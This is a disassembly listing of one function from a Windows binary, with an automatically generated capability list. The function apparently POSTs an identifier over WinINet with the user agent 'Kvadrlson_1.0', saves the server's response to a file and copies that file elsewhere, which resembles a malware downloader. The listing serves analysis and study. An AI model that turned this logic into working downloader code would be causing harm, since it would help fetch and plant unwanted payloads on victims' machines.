Function at 0x40aac0
Capabilities:
Connect to http server
Copy file
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x28ac
call fcn.00411db0
mov eax, dword [0x422330]
push ebx
push esi
push edi
mov dword [esp + 0x28b4], eax
call fcn.0040aa30
test eax, eax
jne 0x40ae7e
mov byte [esp + 0x18], al
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov dword [esp + 0x25], eax
mov dword [esp + 0x29], eax
lea ecx, [esp + 0x18]
mov word [esp + 0x2d], ax
push ecx
mov byte [esp + 0x33], al
call fcn.004095b0
xor edx, edx
mov dword [esp + 0x35], edx
mov dword [esp + 0x39], edx
mov dword [esp + 0x3d], edx
mov dword [esp + 0x41], edx
mov dword [esp + 0x45], edx
lea eax, [esp + 0x34]
mov word [esp + 0x49], dx
push eax
mov byte [esp + 0x38], 0
mov byte [esp + 0x4f], dl
call fcn.00409760
mov byte [esp + 0x90], 0
xor eax, eax
mov ecx, 0xf
lea edi, [esp + 0x91]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x90]
push ecx
stosb byte es:[edi], al
call fcn.00403150
mov ax, word [0x41cfcc]
mov cl, byte [0x41cfce]
mov edx, dword [str._h.cuc]
mov word [esp + 0x58], ax
mov byte [esp + 0x5a], cl
mov dword [esp + 0x54], edx
xor eax, eax
mov ecx, 0xe
lea edi, [esp + 0x5b]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x54]
stosb byte es:[edi], al
push edx
mov eax, edx
push eax
call fcn.00404140
lea edi, [esp + 0x5c]
add esp, 0x14
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40abb0
mov ecx, dword [str._cashingDeny]
mov edx, dword [0x41cfbc]
mov eax, dword [0x41cfc0]
mov dword [edi], ecx
mov cx, word [0x41cfc4]
mov dword [edi + 4], edx
mov dword [edi + 8], eax
lea eax, [esp + 0x18]
mov word [edi + 0xc], cx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40abe2
lea edi, [esp + 0x48]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40abf0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x48]
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40ac10
mov edx, dword [str.id]
mov al, byte [0x41b588]
mov dword [edi], edx
mov byte [edi + 4], al
lea eax, [esp + 0x30]
mov edx, eax
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ac30
lea edi, [esp + 0x48]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40ac40
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x48]
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40ac60
mov ecx, dword [str.dll1]
mov dx, word [0x41cfe0]
mov al, byte [0x41cfe2]
mov dword [edi], ecx
mov word [edi + 4], dx
mov byte [edi + 6], al
mov byte [esp + 0x8b0], 0
xor eax, eax
mov ecx, 0x3ff
lea edi, [esp + 0x8b1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x8b0]
push ecx
stosb byte es:[edi], al
call fcn.00402920
add esp, 4
push 0
push 0
push 0
push 1
push str.Kvadrlson_1.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x40ae7e
push 1
push 0
push 3
push 0
push 0
push 0x50
lea edx, [esp + 0xa0]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
test esi, esi
mov dword [esp + 0x10], esi
je 0x40ae77
push 1
push 0x4000000
push 0
push 0
push str.HTTP_1.0
lea eax, [esp + 0x5c]
push eax
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x40ae70
push 0
push 0x41b5fe
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x40ae69
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea ecx, [esp + 0x8c8]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea edx, [esp + 0x8b0]
push 0x201
push edx
call fcn.004135b7
mov esi, eax
push 0x8000
push esi
call fcn.004136cd
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
add esp, 0x10
lea eax, [esp + 0xc]
push eax
push 0x3ff
lea ecx, [esp + 0xd0]
push ecx
push ebx
call edi
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x40adef
lea ebx, [ebx]
test eax, eax
je 0x40adef
push ecx
lea edx, [esp + 0xcc]
push edx
push esi
call fcn.00413225
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push 0x3ff
lea edx, [esp + 0xd0]
push edx
push ebx
mov byte [esp + eax + 0xd8], 0
call edi
mov ecx, dword [esp + 0xc]
test ecx, ecx
jne 0x40adb0
push esi
call fcn.00412fbc
xor eax, eax
mov byte [esp + 0x18b4], 0
mov ecx, 0x3ff
lea edi, [esp + 0x18b5]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18b4]
push eax
call fcn.00402ac0
add esp, 8
push 1
lea ecx, [esp + 0x18b4]
push ecx
lea edx, [esp + 0x8b8]
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [esp + 0x4cc]
push str._nErr:__d_n
push eax
call fcn.00411af5
lea ecx, [esp + 0x4d4]
push ecx
call fcn.0040a180
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x20]
add esp, 0x10
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x28b4]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret